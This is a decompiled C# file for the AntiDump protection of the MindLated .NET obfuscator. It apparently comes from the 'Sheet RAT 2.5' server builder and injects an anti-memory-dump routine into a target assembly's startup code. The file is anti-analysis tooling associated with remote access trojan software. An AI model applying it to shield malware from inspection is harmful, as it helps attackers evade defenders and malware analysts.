39 lines
1.3 KiB
C#
39 lines
1.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: MindLated.Protection.Anti.AntiDump
|
|
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
|
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
|
|
|
using dnlib.DotNet;
|
|
using dnlib.DotNet.Emit;
|
|
using MindLated.Protection.Anti.Runtime;
|
|
using MindLated.Services;
|
|
using System;
|
|
using System.Windows.Forms;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
|
|
//#nullable disable
|
|
namespace MindLated.Protection.Anti {
|
|
|
|
internal class AntiDump
|
|
{
|
|
public static void Execute(ModuleDef mod)
|
|
{
|
|
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDumpRun).Module);
|
|
MethodDef staticConstructor = mod.GlobalType.FindOrCreateStaticConstructor();
|
|
int rid = (int) MDToken.ToRID(typeof (AntiDumpRun).MetadataToken);
|
|
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), mod.GlobalType, mod).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initialize"));
|
|
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
|
|
foreach (MethodDef method in (IEnumerable<MethodDef>) mod.GlobalType.Methods)
|
|
{
|
|
if (!(method.Name != ".ctor"))
|
|
{
|
|
mod.GlobalType.Remove(method);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|